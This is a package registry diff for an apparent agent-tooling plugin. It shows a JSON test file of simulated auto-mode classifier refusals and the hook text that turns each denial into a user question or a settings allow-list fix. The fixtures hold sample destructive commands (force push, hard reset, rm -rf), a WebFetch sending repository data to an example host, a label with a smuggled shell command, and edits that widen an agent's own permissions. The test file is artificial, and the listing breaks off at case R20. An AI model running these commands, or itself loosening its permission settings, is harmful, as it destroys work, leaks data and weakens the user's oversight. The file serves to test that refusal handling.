claude-dev-env 8.120.0 → 8.122.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/bin/ever-registered-hooks.mjs +2 -0
- package/docs/rule-guides/question-presentation.md +4 -0
- package/hooks/advisory/auto_mode_denial_quick_fix.py +275 -27
- package/hooks/advisory/auto_mode_rule_flow_eval/auto_mode_rule_flow_cases.json +3475 -0
- package/hooks/advisory/auto_mode_rule_flow_eval/auto_mode_rule_flow_runner.py +849 -0
- package/hooks/advisory/auto_mode_rule_flow_eval/stub_allow_hook.py +20 -0
- package/hooks/advisory/auto_mode_rule_flow_eval/stub_hold_hook.py +54 -0
- package/hooks/advisory/auto_mode_rule_flow_eval/test_auto_mode_rule_flow_runner.py +143 -0
- package/hooks/advisory/test_auto_mode_denial_quick_fix.py +533 -9
- package/hooks/auto_mode_question_transcript.py +215 -0
- package/hooks/auto_mode_refusal_ledger.py +481 -0
- package/hooks/auto_mode_refusal_ledger_files.py +336 -0
- package/hooks/auto_mode_rule_steps.py +177 -0
- package/hooks/blocking/auto_mode_refusal_stop_gate.py +384 -0
- package/hooks/blocking/sent_file_question_detector.py +340 -0
- package/hooks/blocking/sent_file_question_gate.py +307 -0
- package/hooks/blocking/sent_file_scan.py +209 -0
- package/hooks/blocking/test_auto_mode_refusal_stop_gate.py +484 -0
- package/hooks/blocking/test_sent_file_question_detector.py +68 -0
- package/hooks/blocking/test_sent_file_question_gate.py +688 -0
- package/hooks/blocking/test_sent_file_scan.py +71 -0
- package/hooks/blocking/test_user_step_wording.py +46 -0
- package/hooks/blocking/user_step_wording.py +113 -15
- package/hooks/features/README.md +1 -1
- package/hooks/features/conduct-gates.md +3 -0
- package/hooks/features/session-context.md +5 -2
- package/hooks/hooks.json +15 -0
- package/hooks/hooks_constants/auto_mode_denial_quick_fix_constants.py +51 -3
- package/hooks/hooks_constants/auto_mode_refusal_ledger_constants.py +85 -0
- package/hooks/hooks_constants/auto_mode_refusal_stop_gate_constants.py +80 -0
- package/hooks/hooks_constants/auto_mode_rule_flow_runner_constants.py +225 -0
- package/hooks/hooks_constants/auto_mode_rule_steps_constants.py +82 -0
- package/hooks/hooks_constants/sent_file_question_gate_constants.py +261 -0
- package/hooks/hooks_constants/user_step_wording_constants.py +4 -0
- package/hooks/test_auto_mode_question_transcript.py +113 -0
- package/hooks/test_auto_mode_refusal_ledger.py +398 -0
- package/hooks/test_auto_mode_refusal_ledger_files.py +155 -0
- package/hooks/test_auto_mode_rule_steps.py +210 -0
- package/package.json +1 -1
- package/scripts/policy_lint/adapter_configuration.py +10 -0
- package/scripts/policy_lint/config/constants.py +2 -0
- package/scripts/tests/test_adapter_configuration.py +16 -0
|
@@ -0,0 +1,3475 @@
|
|
|
1
|
+
{
|
|
2
|
+
"about": "Auto mode refusal flow cases for claude-dev-env. Each case is a list of hook events played in a scratch home; expectations read only hook output and the ledger's answer field. Run auto_mode_rule_flow_runner.py beside this file.",
|
|
3
|
+
"today_outputs_source": "stdout of hooks/advisory/auto_mode_denial_quick_fix.py at commit b90b0dc",
|
|
4
|
+
"today_outputs": {
|
|
5
|
+
"git_destructive": "{\"hookSpecificOutput\": {\"hookEventName\": \"PermissionDenied\", \"additionalContext\": \"=== AUTO MODE DENIAL QUICK FIX ===\\nAuto mode denied Bash under rule [Git Destructive].\\nDenial reason: [Git Destructive] force push to a shared branch\\nDenied action: git push --force-with-lease origin claude/x\\n\\nIn your next message to the user, propose these two fixes. Do not retry and do not run the block yourself.\\n1. One-off: the user replies with a message that names this exact action and its target; then you retry once.\\n2. Lasting: the user runs this PowerShell 7 block on their machine. It adds one autoMode.allow entry to ~/.claude/settings.json and keeps \\\"$defaults\\\". Narrow the entry text to this action before you send it.\\n\\n```powershell\\n$settingsPath = Join-Path $HOME '.claude/settings.json'\\nNew-Item -ItemType Directory -Force -Path (Split-Path $settingsPath) | Out-Null\\n$settings = if (Test-Path $settingsPath) { Get-Content -Raw $settingsPath | ConvertFrom-Json -AsHashtable } else { @{} }\\nif (-not $settings.ContainsKey('autoMode')) { $settings['autoMode'] = @{} }\\n$allowList = [System.Collections.Generic.List[string]]::new()\\nif ($settings['autoMode'].ContainsKey('allow')) { $allowList.AddRange([string[]]@($settings['autoMode']['allow'])) } else { $allowList.Add('$defaults') }\\n$entry = 'Git Destructive exception: Bash calls like `git push --force-with-lease origin claude/x` are allowed when they serve the task the user gave.'\\nif ($allowList -notcontains $entry) { $allowList.Add($entry) }\\n$settings['autoMode']['allow'] = $allowList.ToArray()\\n$settings | ConvertTo-Json -Depth 32 | Set-Content -Encoding utf8NoBOM $settingsPath\\nclaude auto-mode config\\n```\\n\\nFor cloud sessions, the same entry must land in the ~/.claude/settings.json that the session's setup installs.\\nRead the rule wording with: claude auto-mode defaults --label 'Git Destructive'\"}, \"systemMessage\": \"Auto mode blocked Bash [Git Destructive]. Claude will propose a quick fix.\"}",
|
|
6
|
+
"prose_reason": "{\"hookSpecificOutput\": {\"hookEventName\": \"PermissionDenied\", \"additionalContext\": \"=== AUTO MODE DENIAL QUICK FIX ===\\nAuto mode denied Bash under rule [the command cancels workflow runs on a shared branch].\\nDenial reason: the command cancels workflow runs on a shared branch.\\nDenied action: gh run cancel 12345\\n\\nIn your next message to the user, propose these two fixes. Do not retry and do not run the block yourself.\\n1. One-off: the user replies with a message that names this exact action and its target; then you retry once.\\n2. Lasting: the user runs this PowerShell 7 block on their machine. It adds one autoMode.allow entry to ~/.claude/settings.json and keeps \\\"$defaults\\\". Narrow the entry text to this action before you send it.\\n\\n```powershell\\n$settingsPath = Join-Path $HOME '.claude/settings.json'\\nNew-Item -ItemType Directory -Force -Path (Split-Path $settingsPath) | Out-Null\\n$settings = if (Test-Path $settingsPath) { Get-Content -Raw $settingsPath | ConvertFrom-Json -AsHashtable } else { @{} }\\nif (-not $settings.ContainsKey('autoMode')) { $settings['autoMode'] = @{} }\\n$allowList = [System.Collections.Generic.List[string]]::new()\\nif ($settings['autoMode'].ContainsKey('allow')) { $allowList.AddRange([string[]]@($settings['autoMode']['allow'])) } else { $allowList.Add('$defaults') }\\n$entry = 'the command cancels workflow runs on a shared branch exception: Bash calls like `gh run cancel 12345` are allowed when they serve the task the user gave.'\\nif ($allowList -notcontains $entry) { $allowList.Add($entry) }\\n$settings['autoMode']['allow'] = $allowList.ToArray()\\n$settings | ConvertTo-Json -Depth 32 | Set-Content -Encoding utf8NoBOM $settingsPath\\nclaude auto-mode config\\n```\\n\\nFor cloud sessions, the same entry must land in the ~/.claude/settings.json that the session's setup installs.\\nFind the matching rule with: claude auto-mode defaults\"}, \"systemMessage\": \"Auto mode blocked Bash [the command cancels workflow runs on a shared branch]. Claude will propose a quick fix.\"}"
|
|
7
|
+
},
|
|
8
|
+
"cases": [
|
|
9
|
+
{
|
|
10
|
+
"id": "R1",
|
|
11
|
+
"kind": "should act",
|
|
12
|
+
"source": "eval inputs",
|
|
13
|
+
"summary": "Flow on, one force push refusal: one pending entry, the quick-fix block stays, the question text reaches the agent.",
|
|
14
|
+
"events": [
|
|
15
|
+
{
|
|
16
|
+
"refusal": {
|
|
17
|
+
"tool_name": "Bash",
|
|
18
|
+
"tool_input": {
|
|
19
|
+
"command": "git push --force-with-lease origin claude/x",
|
|
20
|
+
"description": "Run a step"
|
|
21
|
+
},
|
|
22
|
+
"reason": "[Git Destructive] force push to a shared branch"
|
|
23
|
+
},
|
|
24
|
+
"name": "a",
|
|
25
|
+
"expect": {
|
|
26
|
+
"creates_entry": true,
|
|
27
|
+
"entry_count": 1,
|
|
28
|
+
"answers": {
|
|
29
|
+
"a": null
|
|
30
|
+
},
|
|
31
|
+
"context_contains": [
|
|
32
|
+
"=== AUTO MODE DENIAL QUICK FIX ===",
|
|
33
|
+
"```powershell",
|
|
34
|
+
"Auto mode refused 1 Bash step under the Git Destructive rule. Should auto mode have refused it?"
|
|
35
|
+
]
|
|
36
|
+
}
|
|
37
|
+
}
|
|
38
|
+
]
|
|
39
|
+
},
|
|
40
|
+
{
|
|
41
|
+
"id": "R2",
|
|
42
|
+
"kind": "should act",
|
|
43
|
+
"source": "eval inputs",
|
|
44
|
+
"summary": "The same refusal twice: still one entry.",
|
|
45
|
+
"events": [
|
|
46
|
+
{
|
|
47
|
+
"refusal": {
|
|
48
|
+
"tool_name": "Bash",
|
|
49
|
+
"tool_input": {
|
|
50
|
+
"command": "git push --force-with-lease origin claude/x",
|
|
51
|
+
"description": "Run a step"
|
|
52
|
+
},
|
|
53
|
+
"reason": "[Git Destructive] force push to a shared branch"
|
|
54
|
+
},
|
|
55
|
+
"name": "a",
|
|
56
|
+
"expect": {
|
|
57
|
+
"creates_entry": true
|
|
58
|
+
}
|
|
59
|
+
},
|
|
60
|
+
{
|
|
61
|
+
"refusal": {
|
|
62
|
+
"tool_name": "Bash",
|
|
63
|
+
"tool_input": {
|
|
64
|
+
"command": "git push --force-with-lease origin claude/x",
|
|
65
|
+
"description": "Run a step"
|
|
66
|
+
},
|
|
67
|
+
"reason": "[Git Destructive] force push to a shared branch"
|
|
68
|
+
},
|
|
69
|
+
"expect": {
|
|
70
|
+
"creates_entry": false,
|
|
71
|
+
"entry_count": 1,
|
|
72
|
+
"answers": {
|
|
73
|
+
"a": null
|
|
74
|
+
},
|
|
75
|
+
"context_contains": [
|
|
76
|
+
"Auto mode refused 1 Bash step under the Git Destructive rule. Should auto mode have refused it?"
|
|
77
|
+
]
|
|
78
|
+
}
|
|
79
|
+
}
|
|
80
|
+
]
|
|
81
|
+
},
|
|
82
|
+
{
|
|
83
|
+
"id": "R3",
|
|
84
|
+
"kind": "should act",
|
|
85
|
+
"source": "eval inputs",
|
|
86
|
+
"summary": "Two different commands under one label: two entries.",
|
|
87
|
+
"events": [
|
|
88
|
+
{
|
|
89
|
+
"refusal": {
|
|
90
|
+
"tool_name": "Bash",
|
|
91
|
+
"tool_input": {
|
|
92
|
+
"command": "git push --force-with-lease origin claude/x",
|
|
93
|
+
"description": "Run a step"
|
|
94
|
+
},
|
|
95
|
+
"reason": "[Git Destructive] force push to a shared branch"
|
|
96
|
+
},
|
|
97
|
+
"name": "a",
|
|
98
|
+
"expect": {
|
|
99
|
+
"creates_entry": true
|
|
100
|
+
}
|
|
101
|
+
},
|
|
102
|
+
{
|
|
103
|
+
"refusal": {
|
|
104
|
+
"tool_name": "Bash",
|
|
105
|
+
"tool_input": {
|
|
106
|
+
"command": "git reset --hard origin/main",
|
|
107
|
+
"description": "Run a step"
|
|
108
|
+
},
|
|
109
|
+
"reason": "[Git Destructive] force push to a shared branch"
|
|
110
|
+
},
|
|
111
|
+
"name": "b",
|
|
112
|
+
"expect": {
|
|
113
|
+
"creates_entry": true,
|
|
114
|
+
"entry_count": 2,
|
|
115
|
+
"answers": {
|
|
116
|
+
"a": null,
|
|
117
|
+
"b": null
|
|
118
|
+
},
|
|
119
|
+
"context_contains": [
|
|
120
|
+
"Auto mode refused 2 Bash steps under the Git Destructive rule. Should auto mode have refused them?"
|
|
121
|
+
]
|
|
122
|
+
}
|
|
123
|
+
}
|
|
124
|
+
]
|
|
125
|
+
},
|
|
126
|
+
{
|
|
127
|
+
"id": "R4",
|
|
128
|
+
"kind": "should act",
|
|
129
|
+
"source": "eval inputs",
|
|
130
|
+
"summary": "A WebFetch refusal: one entry, the URL is the action.",
|
|
131
|
+
"events": [
|
|
132
|
+
{
|
|
133
|
+
"refusal": {
|
|
134
|
+
"tool_name": "WebFetch",
|
|
135
|
+
"tool_input": {
|
|
136
|
+
"url": "https://upload.example.com/collect?source=repo",
|
|
137
|
+
"prompt": "Summarize the page"
|
|
138
|
+
},
|
|
139
|
+
"reason": "[Data Exfiltration] sends repository text to an outside host"
|
|
140
|
+
},
|
|
141
|
+
"name": "a",
|
|
142
|
+
"expect": {
|
|
143
|
+
"creates_entry": true,
|
|
144
|
+
"entry_count": 1,
|
|
145
|
+
"answers": {
|
|
146
|
+
"a": null
|
|
147
|
+
},
|
|
148
|
+
"context_contains": [
|
|
149
|
+
"https://upload.example.com/collect?source=repo",
|
|
150
|
+
"Auto mode refused 1 WebFetch step under the Data Exfiltration rule. Should auto mode have refused it?"
|
|
151
|
+
]
|
|
152
|
+
}
|
|
153
|
+
}
|
|
154
|
+
]
|
|
155
|
+
},
|
|
156
|
+
{
|
|
157
|
+
"id": "R5",
|
|
158
|
+
"kind": "should act",
|
|
159
|
+
"source": "eval inputs",
|
|
160
|
+
"summary": "A label with quote and shell characters is cleaned to letters, digits, spaces, _, / and -.",
|
|
161
|
+
"events": [
|
|
162
|
+
{
|
|
163
|
+
"refusal": {
|
|
164
|
+
"tool_name": "Bash",
|
|
165
|
+
"tool_input": {
|
|
166
|
+
"command": "rm -rf build-out",
|
|
167
|
+
"description": "Run a step"
|
|
168
|
+
},
|
|
169
|
+
"reason": "[Label'; rm -rf x #] removes a folder"
|
|
170
|
+
},
|
|
171
|
+
"name": "a",
|
|
172
|
+
"expect": {
|
|
173
|
+
"creates_entry": true,
|
|
174
|
+
"entry_count": 1,
|
|
175
|
+
"context_contains": [
|
|
176
|
+
"Auto mode refused 1 Bash step under the Label rm -rf x rule. Should auto mode have refused it?"
|
|
177
|
+
]
|
|
178
|
+
}
|
|
179
|
+
}
|
|
180
|
+
]
|
|
181
|
+
},
|
|
182
|
+
{
|
|
183
|
+
"id": "R6",
|
|
184
|
+
"kind": "should act",
|
|
185
|
+
"source": "eval inputs",
|
|
186
|
+
"summary": "A bracketed label with only a period after it.",
|
|
187
|
+
"events": [
|
|
188
|
+
{
|
|
189
|
+
"refusal": {
|
|
190
|
+
"tool_name": "Bash",
|
|
191
|
+
"tool_input": {
|
|
192
|
+
"command": "rm -rf build-out",
|
|
193
|
+
"description": "Run a step"
|
|
194
|
+
},
|
|
195
|
+
"reason": "[Destructive or Unwanted Actions]."
|
|
196
|
+
},
|
|
197
|
+
"name": "a",
|
|
198
|
+
"expect": {
|
|
199
|
+
"creates_entry": true,
|
|
200
|
+
"entry_count": 1,
|
|
201
|
+
"context_contains": [
|
|
202
|
+
"Auto mode refused 1 Bash step under the Destructive or Unwanted Actions rule. Should auto mode have refused it?"
|
|
203
|
+
]
|
|
204
|
+
}
|
|
205
|
+
}
|
|
206
|
+
]
|
|
207
|
+
},
|
|
208
|
+
{
|
|
209
|
+
"id": "R7",
|
|
210
|
+
"kind": "should act",
|
|
211
|
+
"source": "eval inputs",
|
|
212
|
+
"summary": "The full classifier sentence quoted in agent-channels pull request 95.",
|
|
213
|
+
"events": [
|
|
214
|
+
{
|
|
215
|
+
"refusal": {
|
|
216
|
+
"tool_name": "Bash",
|
|
217
|
+
"tool_input": {
|
|
218
|
+
"command": "git commit -q -F /tmp/message.txt",
|
|
219
|
+
"description": "Run a step"
|
|
220
|
+
},
|
|
221
|
+
"reason": "Permission for this action was denied by the Claude Code auto mode classifier. Reason: [Destructive or Unwanted Actions]."
|
|
222
|
+
},
|
|
223
|
+
"name": "a",
|
|
224
|
+
"expect": {
|
|
225
|
+
"creates_entry": true,
|
|
226
|
+
"entry_count": 1,
|
|
227
|
+
"context_contains": [
|
|
228
|
+
"Auto mode refused 1 Bash step under the Destructive or Unwanted Actions rule. Should auto mode have refused it?"
|
|
229
|
+
]
|
|
230
|
+
}
|
|
231
|
+
}
|
|
232
|
+
]
|
|
233
|
+
},
|
|
234
|
+
{
|
|
235
|
+
"id": "R8",
|
|
236
|
+
"kind": "should stay quiet",
|
|
237
|
+
"source": "eval inputs",
|
|
238
|
+
"summary": "Classifier unavailable: no entry.",
|
|
239
|
+
"events": [
|
|
240
|
+
{
|
|
241
|
+
"refusal": {
|
|
242
|
+
"tool_name": "Bash",
|
|
243
|
+
"tool_input": {
|
|
244
|
+
"command": "git push --force-with-lease origin claude/x",
|
|
245
|
+
"description": "Run a step"
|
|
246
|
+
},
|
|
247
|
+
"reason": "Classifier unavailable"
|
|
248
|
+
},
|
|
249
|
+
"expect": {
|
|
250
|
+
"creates_entry": false,
|
|
251
|
+
"entry_count": 0
|
|
252
|
+
}
|
|
253
|
+
}
|
|
254
|
+
]
|
|
255
|
+
},
|
|
256
|
+
{
|
|
257
|
+
"id": "R9",
|
|
258
|
+
"kind": "should stay quiet",
|
|
259
|
+
"source": "eval inputs",
|
|
260
|
+
"summary": "Server-side classifier timed out: no entry.",
|
|
261
|
+
"events": [
|
|
262
|
+
{
|
|
263
|
+
"refusal": {
|
|
264
|
+
"tool_name": "Bash",
|
|
265
|
+
"tool_input": {
|
|
266
|
+
"command": "git push --force-with-lease origin claude/x",
|
|
267
|
+
"description": "Run a step"
|
|
268
|
+
},
|
|
269
|
+
"reason": "The server-side auto mode classifier gave no verdict (timed out)"
|
|
270
|
+
},
|
|
271
|
+
"expect": {
|
|
272
|
+
"creates_entry": false,
|
|
273
|
+
"entry_count": 0
|
|
274
|
+
}
|
|
275
|
+
}
|
|
276
|
+
]
|
|
277
|
+
},
|
|
278
|
+
{
|
|
279
|
+
"id": "R10",
|
|
280
|
+
"kind": "should stay quiet",
|
|
281
|
+
"source": "eval inputs",
|
|
282
|
+
"summary": "A hook changed the input after review: no entry.",
|
|
283
|
+
"events": [
|
|
284
|
+
{
|
|
285
|
+
"refusal": {
|
|
286
|
+
"tool_name": "Bash",
|
|
287
|
+
"tool_input": {
|
|
288
|
+
"command": "git push --force-with-lease origin claude/x",
|
|
289
|
+
"description": "Run a step"
|
|
290
|
+
},
|
|
291
|
+
"reason": "a hook changed this call's input after auto mode reviewed it"
|
|
292
|
+
},
|
|
293
|
+
"expect": {
|
|
294
|
+
"creates_entry": false,
|
|
295
|
+
"entry_count": 0
|
|
296
|
+
}
|
|
297
|
+
}
|
|
298
|
+
]
|
|
299
|
+
},
|
|
300
|
+
{
|
|
301
|
+
"id": "R11",
|
|
302
|
+
"kind": "should stay quiet",
|
|
303
|
+
"source": "eval inputs",
|
|
304
|
+
"summary": "Prose reason with no label: no entry, output equal to today's.",
|
|
305
|
+
"events": [
|
|
306
|
+
{
|
|
307
|
+
"refusal": {
|
|
308
|
+
"tool_name": "Bash",
|
|
309
|
+
"tool_input": {
|
|
310
|
+
"command": "gh run cancel 12345",
|
|
311
|
+
"description": "Run a step"
|
|
312
|
+
},
|
|
313
|
+
"reason": "the command cancels workflow runs on a shared branch."
|
|
314
|
+
},
|
|
315
|
+
"expect": {
|
|
316
|
+
"creates_entry": false,
|
|
317
|
+
"entry_count": 0,
|
|
318
|
+
"stdout_equals_today": "prose_reason"
|
|
319
|
+
}
|
|
320
|
+
}
|
|
321
|
+
]
|
|
322
|
+
},
|
|
323
|
+
{
|
|
324
|
+
"id": "R12",
|
|
325
|
+
"kind": "should stay quiet",
|
|
326
|
+
"source": "eval inputs",
|
|
327
|
+
"summary": "A reason that is a number: no entry.",
|
|
328
|
+
"events": [
|
|
329
|
+
{
|
|
330
|
+
"refusal": {
|
|
331
|
+
"tool_name": "Bash",
|
|
332
|
+
"tool_input": {
|
|
333
|
+
"command": "git push --force-with-lease origin claude/x",
|
|
334
|
+
"description": "Run a step"
|
|
335
|
+
},
|
|
336
|
+
"reason": 42
|
|
337
|
+
},
|
|
338
|
+
"expect": {
|
|
339
|
+
"creates_entry": false,
|
|
340
|
+
"entry_count": 0
|
|
341
|
+
}
|
|
342
|
+
}
|
|
343
|
+
]
|
|
344
|
+
},
|
|
345
|
+
{
|
|
346
|
+
"id": "R13",
|
|
347
|
+
"kind": "should stay quiet",
|
|
348
|
+
"source": "eval inputs",
|
|
349
|
+
"summary": "Flow off: no entry, output equal to today's byte for byte.",
|
|
350
|
+
"events": [
|
|
351
|
+
{
|
|
352
|
+
"refusal": {
|
|
353
|
+
"tool_name": "Bash",
|
|
354
|
+
"tool_input": {
|
|
355
|
+
"command": "git push --force-with-lease origin claude/x",
|
|
356
|
+
"description": "Run a step"
|
|
357
|
+
},
|
|
358
|
+
"reason": "[Git Destructive] force push to a shared branch"
|
|
359
|
+
},
|
|
360
|
+
"expect": {
|
|
361
|
+
"creates_entry": false,
|
|
362
|
+
"entry_count": 0,
|
|
363
|
+
"stdout_equals_today": "git_destructive"
|
|
364
|
+
},
|
|
365
|
+
"flow": "off"
|
|
366
|
+
}
|
|
367
|
+
]
|
|
368
|
+
},
|
|
369
|
+
{
|
|
370
|
+
"id": "R14",
|
|
371
|
+
"kind": "should stay quiet",
|
|
372
|
+
"source": "eval inputs",
|
|
373
|
+
"summary": "The switch names a file that does not exist: same as R13.",
|
|
374
|
+
"events": [
|
|
375
|
+
{
|
|
376
|
+
"refusal": {
|
|
377
|
+
"tool_name": "Bash",
|
|
378
|
+
"tool_input": {
|
|
379
|
+
"command": "git push --force-with-lease origin claude/x",
|
|
380
|
+
"description": "Run a step"
|
|
381
|
+
},
|
|
382
|
+
"reason": "[Git Destructive] force push to a shared branch"
|
|
383
|
+
},
|
|
384
|
+
"expect": {
|
|
385
|
+
"creates_entry": false,
|
|
386
|
+
"entry_count": 0,
|
|
387
|
+
"stdout_equals_today": "git_destructive"
|
|
388
|
+
},
|
|
389
|
+
"flow": "missing"
|
|
390
|
+
}
|
|
391
|
+
]
|
|
392
|
+
},
|
|
393
|
+
{
|
|
394
|
+
"id": "R15",
|
|
395
|
+
"kind": "should stay quiet",
|
|
396
|
+
"source": "eval inputs",
|
|
397
|
+
"summary": "The refused command runs add_auto_mode_rule.py from the agent-channels root: no entry.",
|
|
398
|
+
"events": [
|
|
399
|
+
{
|
|
400
|
+
"refusal": {
|
|
401
|
+
"tool_name": "Bash",
|
|
402
|
+
"tool_input": {
|
|
403
|
+
"command": "python3 setup/add_auto_mode_rule.py add --label \"Own branch force push\" --rule-file /tmp/rule.txt",
|
|
404
|
+
"description": "Run a step"
|
|
405
|
+
},
|
|
406
|
+
"reason": "[Destructive or Unwanted Actions] edits the rules folder",
|
|
407
|
+
"cwd": "@@scratch@@/agent-channels"
|
|
408
|
+
},
|
|
409
|
+
"expect": {
|
|
410
|
+
"creates_entry": false,
|
|
411
|
+
"entry_count": 0
|
|
412
|
+
}
|
|
413
|
+
}
|
|
414
|
+
]
|
|
415
|
+
},
|
|
416
|
+
{
|
|
417
|
+
"id": "R16",
|
|
418
|
+
"kind": "should stay quiet",
|
|
419
|
+
"source": "eval inputs",
|
|
420
|
+
"summary": "The session holds an allowed entry; a push in agent-channels of a claude/auto-mode-rule- branch adds no entry.",
|
|
421
|
+
"events": [
|
|
422
|
+
{
|
|
423
|
+
"refusal": {
|
|
424
|
+
"tool_name": "Bash",
|
|
425
|
+
"tool_input": {
|
|
426
|
+
"command": "git push --force-with-lease origin claude/x",
|
|
427
|
+
"description": "Run a step"
|
|
428
|
+
},
|
|
429
|
+
"reason": "[Git Destructive] force push to a shared branch"
|
|
430
|
+
},
|
|
431
|
+
"name": "a"
|
|
432
|
+
},
|
|
433
|
+
{
|
|
434
|
+
"stop": {},
|
|
435
|
+
"expect": {
|
|
436
|
+
"held": true
|
|
437
|
+
}
|
|
438
|
+
},
|
|
439
|
+
{
|
|
440
|
+
"transcript": "ask",
|
|
441
|
+
"questions": [
|
|
442
|
+
{
|
|
443
|
+
"question": "Auto mode refused 1 Bash step under the Git Destructive rule. Should auto mode have refused it?",
|
|
444
|
+
"answer": "Allow it"
|
|
445
|
+
}
|
|
446
|
+
]
|
|
447
|
+
},
|
|
448
|
+
{
|
|
449
|
+
"stop": {},
|
|
450
|
+
"expect": {
|
|
451
|
+
"answers": {
|
|
452
|
+
"a": "allowed"
|
|
453
|
+
}
|
|
454
|
+
}
|
|
455
|
+
},
|
|
456
|
+
{
|
|
457
|
+
"refusal": {
|
|
458
|
+
"tool_name": "Bash",
|
|
459
|
+
"tool_input": {
|
|
460
|
+
"command": "git push -u origin claude/auto-mode-rule-own-branch-force-push",
|
|
461
|
+
"description": "Run a step"
|
|
462
|
+
},
|
|
463
|
+
"reason": "[Destructive or Unwanted Actions] pushes a branch",
|
|
464
|
+
"cwd": "@@scratch@@/agent-channels"
|
|
465
|
+
},
|
|
466
|
+
"expect": {
|
|
467
|
+
"creates_entry": false,
|
|
468
|
+
"entry_count": 1
|
|
469
|
+
}
|
|
470
|
+
}
|
|
471
|
+
]
|
|
472
|
+
},
|
|
473
|
+
{
|
|
474
|
+
"id": "R17",
|
|
475
|
+
"kind": "should act",
|
|
476
|
+
"source": "added by the ledger unit from the plan check 5 Notes",
|
|
477
|
+
"summary": "Two Edit refusals of one file with different tool_input: two entries, because the id uses the full tool_input.",
|
|
478
|
+
"events": [
|
|
479
|
+
{
|
|
480
|
+
"refusal": {
|
|
481
|
+
"tool_name": "Edit",
|
|
482
|
+
"tool_input": {
|
|
483
|
+
"file_path": "@@scratch@@/settings.json",
|
|
484
|
+
"old_string": "\"allow\": []",
|
|
485
|
+
"new_string": "\"allow\": [\"Bash(*)\"]"
|
|
486
|
+
},
|
|
487
|
+
"reason": "[Self-Modification] edits the agent's own permission settings"
|
|
488
|
+
},
|
|
489
|
+
"name": "a",
|
|
490
|
+
"expect": {
|
|
491
|
+
"creates_entry": true
|
|
492
|
+
}
|
|
493
|
+
},
|
|
494
|
+
{
|
|
495
|
+
"refusal": {
|
|
496
|
+
"tool_name": "Edit",
|
|
497
|
+
"tool_input": {
|
|
498
|
+
"file_path": "@@scratch@@/settings.json",
|
|
499
|
+
"old_string": "\"deny\": [\"Bash(rm *)\"]",
|
|
500
|
+
"new_string": "\"deny\": []"
|
|
501
|
+
},
|
|
502
|
+
"reason": "[Self-Modification] edits the agent's own permission settings"
|
|
503
|
+
},
|
|
504
|
+
"name": "b",
|
|
505
|
+
"expect": {
|
|
506
|
+
"creates_entry": true,
|
|
507
|
+
"entry_count": 2,
|
|
508
|
+
"answers": {
|
|
509
|
+
"a": null,
|
|
510
|
+
"b": null
|
|
511
|
+
},
|
|
512
|
+
"context_contains": [
|
|
513
|
+
"Auto mode refused 2 Edit steps under the Self-Modification rule. Should auto mode have refused them?"
|
|
514
|
+
]
|
|
515
|
+
}
|
|
516
|
+
}
|
|
517
|
+
]
|
|
518
|
+
},
|
|
519
|
+
{
|
|
520
|
+
"id": "R18",
|
|
521
|
+
"kind": "should act",
|
|
522
|
+
"source": "added by the ledger unit from the plan check 5 Notes",
|
|
523
|
+
"summary": "A reason that starts with Reason: reads the same label as one without it: both steps share one question.",
|
|
524
|
+
"events": [
|
|
525
|
+
{
|
|
526
|
+
"refusal": {
|
|
527
|
+
"tool_name": "Bash",
|
|
528
|
+
"tool_input": {
|
|
529
|
+
"command": "git push --force-with-lease origin claude/x",
|
|
530
|
+
"description": "Run a step"
|
|
531
|
+
},
|
|
532
|
+
"reason": "[Git Destructive] force push to a shared branch"
|
|
533
|
+
},
|
|
534
|
+
"name": "a",
|
|
535
|
+
"expect": {
|
|
536
|
+
"creates_entry": true
|
|
537
|
+
}
|
|
538
|
+
},
|
|
539
|
+
{
|
|
540
|
+
"refusal": {
|
|
541
|
+
"tool_name": "Bash",
|
|
542
|
+
"tool_input": {
|
|
543
|
+
"command": "git reset --hard origin/main",
|
|
544
|
+
"description": "Run a step"
|
|
545
|
+
},
|
|
546
|
+
"reason": "Reason: [Git Destructive] discards local commits"
|
|
547
|
+
},
|
|
548
|
+
"name": "b",
|
|
549
|
+
"expect": {
|
|
550
|
+
"creates_entry": true,
|
|
551
|
+
"entry_count": 2,
|
|
552
|
+
"answers": {
|
|
553
|
+
"a": null,
|
|
554
|
+
"b": null
|
|
555
|
+
},
|
|
556
|
+
"context_contains": [
|
|
557
|
+
"Auto mode refused 2 Bash steps under the Git Destructive rule. Should auto mode have refused them?"
|
|
558
|
+
],
|
|
559
|
+
"context_excludes": [
|
|
560
|
+
"Reason: Git Destructive",
|
|
561
|
+
"under the Reason rule"
|
|
562
|
+
]
|
|
563
|
+
}
|
|
564
|
+
}
|
|
565
|
+
]
|
|
566
|
+
},
|
|
567
|
+
{
|
|
568
|
+
"id": "R19",
|
|
569
|
+
"kind": "should act",
|
|
570
|
+
"source": "added from the build check",
|
|
571
|
+
"summary": "The session holds an allowed entry; an Edit of a settings file with its working folder in agent-channels is not a rule step, so it adds an entry.",
|
|
572
|
+
"events": [
|
|
573
|
+
{
|
|
574
|
+
"refusal": {
|
|
575
|
+
"tool_name": "Bash",
|
|
576
|
+
"tool_input": {
|
|
577
|
+
"command": "git push --force-with-lease origin claude/x",
|
|
578
|
+
"description": "Run a step"
|
|
579
|
+
},
|
|
580
|
+
"reason": "[Git Destructive] force push to a shared branch"
|
|
581
|
+
},
|
|
582
|
+
"name": "a"
|
|
583
|
+
},
|
|
584
|
+
{
|
|
585
|
+
"transcript": "ask",
|
|
586
|
+
"questions": [
|
|
587
|
+
{
|
|
588
|
+
"question": "Auto mode refused 1 Bash step under the Git Destructive rule. Should auto mode have refused it?",
|
|
589
|
+
"answer": "Allow it"
|
|
590
|
+
}
|
|
591
|
+
]
|
|
592
|
+
},
|
|
593
|
+
{
|
|
594
|
+
"refusal": {
|
|
595
|
+
"tool_name": "Edit",
|
|
596
|
+
"tool_input": {
|
|
597
|
+
"file_path": "@@scratch@@/settings.json",
|
|
598
|
+
"old_string": "\"allow\": []",
|
|
599
|
+
"new_string": "\"allow\": [\"Bash(*)\"]"
|
|
600
|
+
},
|
|
601
|
+
"reason": "[Self-Modification] edits the agent's own permission settings",
|
|
602
|
+
"cwd": "@@scratch@@/agent-channels"
|
|
603
|
+
},
|
|
604
|
+
"expect": {
|
|
605
|
+
"creates_entry": true,
|
|
606
|
+
"entry_count": 2,
|
|
607
|
+
"answers": {
|
|
608
|
+
"a": "allowed"
|
|
609
|
+
}
|
|
610
|
+
}
|
|
611
|
+
}
|
|
612
|
+
]
|
|
613
|
+
},
|
|
614
|
+
{
|
|
615
|
+
"id": "R20",
|
|
616
|
+
